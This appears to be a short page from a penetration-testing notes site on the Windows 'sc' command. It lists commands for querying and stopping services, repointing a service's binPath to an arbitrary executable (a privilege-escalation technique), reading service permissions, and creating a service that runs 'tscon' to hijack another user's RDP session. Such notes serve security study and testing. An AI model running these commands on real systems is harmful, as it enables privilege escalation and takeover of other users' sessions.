# sc

```
sc qc WindowsScheduler
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FYVlOVBPg6Dn6DNTPIstP%2Fimage.png?alt=media&#x26;token=c5a21c67-2c3b-40bb-86d1-aaa395253898" alt=""><figcaption></figcaption></figure>

```
sc stop services
```

```
sc config services binPath=\path\to\file\file.exe
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F3isJZz1pSJDaFKEA66Ia%2Fimage.png?alt=media&#x26;token=f3e8065d-de86-472e-9aee-eac44047afc4" alt=""><figcaption></figcaption></figure>

```
sc sdshow service
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FThnYLKPerr3ffbrXiTNI%2Fimage.png?alt=media&#x26;token=00c7d514-4b1e-43b6-b602-1cb736aadb1a" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}
```
# Use this when you see the rdp session id using query user
# Note: This method no longer works on Server 2019.
sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"
```
{% endcode %}
